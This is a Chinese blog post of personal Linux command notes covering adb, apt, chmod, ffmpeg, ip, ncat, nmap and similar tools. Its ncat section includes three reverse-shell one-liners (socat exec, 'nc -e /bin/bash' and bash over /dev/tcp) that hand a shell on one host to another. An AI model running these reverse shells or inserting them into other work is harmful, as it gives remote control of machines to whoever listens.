Linux 常用命令

文章目录 (?) [+]

    几个常用 Linux 命令整理,之前笔记的一部分。

    adb

    # 查看应用列表
    adb shell pm list packages
    # 停用应用
    adb shell pm disable-user com.android.browser
    # 启用应用
    adb shell pm enable com.android.browser
    # 安装应用
    adb install xxx.apk
    # 复制文件到手机
    adb push 1.apk /sdcard/1.apk
    # 静默安装应用
    adb shell pm insatll -f 1.apk
    # 删除文件
    adb shell rm /sdcard/1.apk

    apt

    # 查询软件包
    apt search axel
    # 软件包详情
    apt policy axel
    # 锁定软件包
    sudo apt-mark hold curl
    # 解锁软件包
    sudo apt-mark unhold curl
    # 查看锁定的包
    sudo apt-mark showhold
    
    # 列出安装的 i386 软件包
    sudo dpkg -l | grep i386
    # 移除 i386 软件包
    sudo apt-get purge `dpkg --get-selections | grep ":i386" | awk '{print $1}'`
    # 或
    sudo apt-get purge ".*:i386"
    # 列出额外的架构
    sudo dpkg --print-foreign-architectures
    # 移除 i386 架构
    sudo dpkg --remove-architecture i386
    
    # 常用软件包
    sudo apt install -y \
        landscape-common \ # ssh 登录显示系统信息
        pwgen \ # 密码生成
        menulibre \ # 启动图标编辑
        git \
        krita \ # 绘图
        audacity \ # 音频编辑
        kolourpaint \ # 简易画图
        flameshot \ # 截图
        language-pack-zh-hans \ # 简体中文语言包
        language-pack-gnome-zh-hans \
        ffmpeg \
        gimp \ # 类似 PS 的修图软件
        socat \
        netcat \
        fping \ # 批量 ping
        iotop \
        iftop \
        htop \ # 更易使用的 top
        pingtop \
        figlet \ # 生成字符图形
        toilet \ # ASCII 字符图形生成
        remmina \ # Windows 远程桌面(RDP)
        typora \ # 所见即所得 markdown 编辑器
        gufw \ # 图形化防火墙配置
        python3-pip \
        python3-serial \
        font-manager \
        etcher \ # 烧写工具
        curl \
        network-manager-gnome \
        sshfs \ # 通过 ssh 挂载文件系统
        shadowsocks-qt5 \
        axel \ # 多线程下载
        filezilla \ # ftp 图形客户端
        nmap \
        ncat \
        gawk \ # awk 文本格式化工具
        lrzsz \ # ZModem文件传输
        unar \ # 解压软件,中文无乱码
        neofetch \ # 显示系统信息
        asciinema \
        mtr-tiny \
        pulseaudio \
        pavucontrol \
        teamviewer \
        telegram-desktop \
        printer-driver-cups-pdf \ # 本地 pdf 输出(虚拟打印机)
        blueman \ # 蓝牙管理
        manpages-zh \ # 中文说明
        trash-cli # alias rm="trash-put" 丢入回收站

    bwrap

    # 沙箱
    bwrap --dev-bind / / --bind /opt/wechat-uos/uos-release /etc/os-release wechat

    chmod

    r: 4 w: 2 x: 1

    u: owner g: group o: others a: all

    目录的 w 代表的是用户能创建、修改、删除目录下的文件。

    目录的 x 代表的是用户能否进入该目录成为工作目录的用途,即不可 cd 到此目录,另即使有 r 权限也不可读。

    4000: SUID 标志,作用于文件的所有者。执行该文件时具有文件所有者的权限。此标志只能为文件设置,且主要用于可执行的二进制文件,对于其它文件无意义。

    2000: SGID 标志,作用于文件或路径的所有组。文件具有此权限时,执行该文件时具有文件所有组的权限;路径具有此权限时,其他用户在此路径下的操作所属组为该所属组。

    1000: Sticky Bit 标志,作用于路径的其它用户。此标志只能为路径设置,设置此标志后,只有 root 和所有者才能删除路径下的文件。

    # 为所有者增加 rx 权限
    chmod u+rx file
    
    # 为所属组增加 rx 权限并消除其他用户所有权限
    chmod g=rx,o= file
    
    # 取消其他用户的 rx 权限
    chmod o-rx file
    
    # 给所有用户添加 x 权限
    chmod a+x file
    
    # 为所有者设置 SUID 标志
    # 若所有者没有 x 权限则显示为 S
    # 若所有者具有 x 权限则显示为 s
    chmod u+s file
    
    # 为用户组设置 SGID 标志
    # 若所属组没有 x 权限则显示为 S
    # 若所属组具有 x 权限则显示为 s
    chmod g+s dir
    
    # 为其他用户设置 Sticky 标志
    # 若其他用户没有 x 权限则显示为 T
    # 若其他用户具有 x 权限则显示为 t
    # 此标志只能为路径设置
    chmod o+t file

    chown

    # 所有者:组
    # -R 遍历目录
    chown 1000:1000 -R ./dir/
    
    # 改变文件所有者
    chown ubuntu README.md
    # 改变文件群组
    chgrp ubuntu README.md

    date

    # 当前 unix 时间戳
    date +%s
    
    # 转换指定日期为时间戳
    date -d '2019-06-10 09:21:00' +%s
    
    # 转换 unix 时间戳为日期
    date -d @1560129660
    
    # 转换 unix 时间戳为指定日期格式
    date -d @1560129660 +"%Y-%m-%d %H:%M:%S"

    fdisk

    # 查看磁盘分区
    sudo fdisk -l
    # 或
    lsblk
    
    # 查看分区 uuid
    sudo blkid /dev/sda1
    ls -l /dev/disk/by-uuid/
    
    # 磁盘分区使用情况
    df -h
    # 遍历输出当前路径下的每个文件大小
    du -h

    ffmpeg

    # 合并 m3u8 为 mp4
    ffmpeg -headers 'Cookie: xxx' -user_agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' -i 'http://xxxx.m3u8' -c:v copy -c:a copy -bsf:a aac_adtstoasc download.mp4
    
    # 无损合并 ts 文件
    # 直接给定
    ffmpeg -i "concat:input1.ts|input2.ts|input3.ts" -c copy output.ts
    # 通过文件列表
    # https://trac.ffmpeg.org/wiki/Concatenate
    # 文件列表格式
    file '/path/to/file1.ts'
    file '/path/to/file2.ts'
    file '/path/to/file3.ts'
    # 相对路径时不必使用 -safe 0
    ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.ts
    
    # 去除水印
    # http://ffmpeg.org/ffmpeg-all.html#delogo
    # x,y 为 logo 的位置,w,h 为 logo 的宽高,可通过 gimp 选取 logo 获取坐标,show 为标记水印边缘方便辨识
    # 效果预览
    ffplay -i source.mp4 -vf "delogo=x=100:y=100:w=100:h=100:show=1"
    # 去除 logo
    ffmpeg -i logo.mp4 -vf "delogo=x=100:y=100:w=100:h=100" delogo.mp4
    
    # 片段截取
    # -vcodec copy 使用与原视频一样的视频编解码器,同 -c:v copy
    # -acodec copy 使用与原视频一样的音频编解码器,同 -c:a copy
    # -y 覆盖同名文件
    # -t 持续时间
    # 指定时间段
    ffmpeg -i demo.mp4 -vcodec copy -acodec copy -ss 00:00:00 -to 00:00:05 cut.mp4 -y
    # 指定持续时间
    ffmpeg -i demo.mp4 -vcodec copy -acodec copy -ss 00:00:00 -t 10 cut.mp4
    
    # UDP 推流
    # -re 以原始帧速率读取输入
    # -f 强制输入或输出文件格式
    ffmpeg -re -i demo.mp4 -vcodec copy -acodec copy -f h264 udp://127.0.0.1:1234
    # 播放 UDP 推流
    ffplay -f h264 udp://127.0.0.1:1234
    
    # RTP 推流
    # -an 没有音频
    # -vn 没有视频
    ffmpeg -re -i demo.mp4 -vcodec copy -an -f rtp rtp://127.0.0.1:2000
    
    # RTMP 推流
    ffmpeg -re -i demo.mp4 -vcodec libx264 -acodec aac -strict -2 -f flv rtmp://localhost:1935/live/stream

    fping

    # 扫描 ip 段内的主机
    fping -aqg 192.168.1.0/24

    grub

    # 生成 grub 使用的点阵字体
    # -s 24 为指定字体大小
    # http://ftp.gnu.org/gnu/unifont/
    sudo grub-mkfont -s 24 -o /boot/grub/fonts/unifont-24.pf2 /home/choi/Downloads/unifont-13.0.06.ttf
    sudo grub-mkfont -s 24 -o /boot/grub/fonts/DejaVuSansMono-24.pf2 /usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf
    
    # 安装主题
    # https://github.com/vinceliuice/grub2-themes
    sudo ./install.sh -b -t tela -s 4k
    
    sudo nano /etc/default/grub
    # 记忆上次选择启动项
    GRUB_DEFAULT=saved
    GRUB_SAVEDEFAULT=true
    # 指定字体
    GRUB_FONT="/boot/grub/fonts/unifont-24.pf2"
    # 指定主题
    GRUB_THEME="/boot/grub/themes/Tela/theme.txt"
    sudo grub-mkconfig -o /boot/grub/grub.cfg

    ip

    # 显示网络接口信息
    ip link show
    ip l
    # 开启网卡
    ip link set eth0 up
    # 关闭网卡
    ip link set eth0 down
    # 开启网卡混合模式
    ip link set eth0 promisc on
    # 关闭网卡混合模式
    ip link set eth0 promisc off
    # 修改网卡 MAC 地址
    ip link set eth0 address 00:01:4f:00:15:f1
    
    # 显示网卡 IP 信息
    ip addr show
    ip a
    # 设置指定网卡 IP 地址
    ip addr add 192.168.0.1/24 dev eth0
    # 删除指定网卡 IP 地址
    ip addr del 192.168.0.1/24 dev eth0
    
    # 显示路由条目
    ip route show
    ip r
    # 查询路由包
    ip route get 10.0.0.10
    # 设置默认路由
    ip route add default via 192.168.1.254
    # 删除默认路由
    ip route del default
    # 设置 192.168.4.0 网段的网关
    ip route add 192.168.4.0/24 via 192.168.0.254 dev eth0
    # 删除 192.168.4.0 网段的网关
    ip route del 192.168.4.0/24
    
    # 显示 ARP 条目
    ip neigh
    ip n
    
    # 显示网络统计数据
    ip -s link
    ip -s -s link ls eth0
    
    # 监控 netlink 消息
    ip monitor all

    ls

    案例

    $ mkdir -p /tmp/test/
    $ touch /tmp/test/{111,222,333}
    $ alias ll="ls -alFh --time-style '+%Y-%m-%d %H:%M:%S'"
    $ ll /tmp/test
    total 8.0K
    drwxrwxr-x 2 choi choi 4.0K 2020-05-29 02:37:14 .
    drwxrwxr-x 3 choi choi 4.0K 2020-05-29 02:37:13 ..
    -rw-rw-r-- 1 choi choi    0 2020-05-29 02:37:14 111
    -rw-rw-r-- 1 choi choi    0 2020-05-29 02:37:14 222
    -rw-rw-r-- 1 choi choi    0 2020-05-29 02:37:14 333

    说明

    # [d][rwx][rwx][rwx] [2] [choi] [choi] [4.0K] [2020-05-29 02:37:14] [.]
    # [文件类型][拥有者权限][用户组权限][其他用户权限] [inode连接数] [拥有者] [所属群组] [文件大小] [修改日期] [文件名]
    
    # 文件类型
    # - 常规文件
    # d 目录文件
    # l 符号连接文件
    # b 区块设备文件,如硬盘
    # c 字节设备文件,如串口
    # s 套接字文件
    # p FIFO 管道文件
    
    ls -alFh --time-style '+%Y-%m-%d %H:%M:%S'
    # -a 显示隐藏文件
    # -l 以列表形式输出
    # -F 标记特殊文件:可执行文件后加 *、目录文件后加 /、符号连接文件后加 @、套接字文件后加 =、FIFO 管道文件后加 |
    # -h 更易读懂的方式输出
    # --time-style 指定日期格式
    
    # 更多关于 ls 的信息
    info ls

    lsof

    # 查看端口占用进程
    lsof -i:8080

    losetup

    # -f 查找第一个未使用的设备
    # -P 创建带分区的回环设备
    sudo losetup -f --show -P system.img
    
    # 列出所有使用的回环设备
    losetup -a
    
    # 挂载分区 3
    sudo mount /dev/loop0p3 /mnt/
    # 另一种方法
    fdisk -l system.img
    sudo mount -o loop,offset=$((512 * 分区 3 的起点)) system.img /mnt/
    
    # 卸载
    sudo umount /mnt/
    
    # 断开回环设备
    sudo losetup -d /dev/loop0
    
    # 断开所有回环设备
    sudo losetup -D

    man

    man 1 ls
    # 1  可执行程序或 shell 命令 
    # 2  系统调用(内核提供的函数)
    # 3  库调用(程序库中的函数)
    # 4  特殊文件(通常位于 /dev)
    # 5  文件格式和规范,如 /etc/passwd 
    # 6  游戏 
    # 7  杂项(包括宏包和规范,如 **man**(7),**groff**(7)) 
    # 8  系统管理命令(通常只针对 root 用户)
    # 9  内核例程(非标准)

    mount

    # 挂载
    sudo mount /dev/sda1 /mnt/disk
    # 卸载
    sudo umount /dev/sda1

    nano

    快捷键说明
    Ctrl +6自由选择标记
    Alt + 6复制选择文字,默认复制当前行
    Ctrl + K剪切选择文字,默认剪切当前行
    Ctrl + U粘贴
    Alt + U撤销
    Ctrl + W搜索
    Ctrl + Y上一页
    Ctrl + V下一页
    Ctrl + S保存
    Ctrl + O另存为
    Ctrl + X退出
    Ctrl + G帮助

    ncat

    反弹 shell

    # 主机 10.0.0.10
    # 靶机 10.0.0.200
    # 主机
    socat TCP-LISTEN:22333 -
    # 靶机
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.10:22333
    
    # 主机
    nc -lvp 22333
    # 靶机
    nc 10.0.0.10 22333 -t -e /bin/bash
    
    # 主机
    nc -lvp 22333
    # 靶机
    bash -i >& /dev/tcp/10.0.0.10/22333 0>&1

    消息转发

    # 接收消息
    # -k 强制保持端口开放
    ncat -l -k 8080
    # 发送消息
    # -w 设置超时时间
    ncat -w 10 10.0.0.200 8080

    文件转发

    # 接收文件
    ncat -l 8080 > file.txt
    # 发送文件
    ncat 10.0.0.200 8080 --send-only < data.txt
    
    # 接收文件夹
    ncat -l 8080 | tar xzv-
    # 发送文件夹
    tar czv- . | ncat 10.0.0.200 8080 --send-only

    代理转发

    # 将 8080 流量单向转发到指定主机端口
    ncat -l 8080 | ncat 10.0.0.200 80
    # 双向转发
    mkfifo proxy && ncat -l 8080 0<proxy | ncat 10.0.0.200 80 1>proxy

    UDP

    # 监听 UDP 端口
    ncat -l -u 6666
    # 测试 UDP 端口联通性
    ncat -v -u 10.0.0.200 6666

    nmap

    # 猜测设备信息
    sudo nmap -O --osscan-guess 192.168.0.1
    
    # -A 开启所有探测和扫描
    nmap -A 192.168.0.100-110

    parted

    # SSD 对齐检查
    sudo parted
    # 其中的 n 是要查的分区数字
    align-check opt n

    ping

    # 回显请求经过的路由,最多 9 条
    ping -R lanseyujie.com

    ss

    # 列出所有监听套接字
    ss -l
    # 列出所有 tcp 连接
    ss -t
    # 列出所有 udp 连接
    ss -ua
    # 列出所有 uinx 套接字
    ss -x
    # 显示与套接字相关的进程
    ss -p
    # 显示统计摘要
    ss -s

    su

    # 非登录式切换,环境变量不切换
    su choi
    
    # -, -l, --login 使 shell 成为登录 shell
    su - choi
    
    # 使用指定用户执行某个命令,注意环境变量还是原用户的
    su - choi -c "id"
    
    # -m, -p, --preserve-environment 不重置环境变量

    usermod

    # 创建用户
    adduser ubuntu
    # 无操作引导创建用户
    useradd ubuntu
    
    # 创建用户组
    groupadd ubuntu
    
    # 用户操作
    usermod
    
    # 查看用户所属组
    id ubuntu
    groups ubuntu
    
    # 删除用户并清除相关文档
    userdel -r ubuntu
    本文标题:Linux 常用命令
    本文链接:https://lanseyujie.com/post/common-linux-commands.html
    版权声明:本文使用「署名 4.0 国际」创作共享协议,转载或使用请遵守署名协议。
    点赞 0 分享 0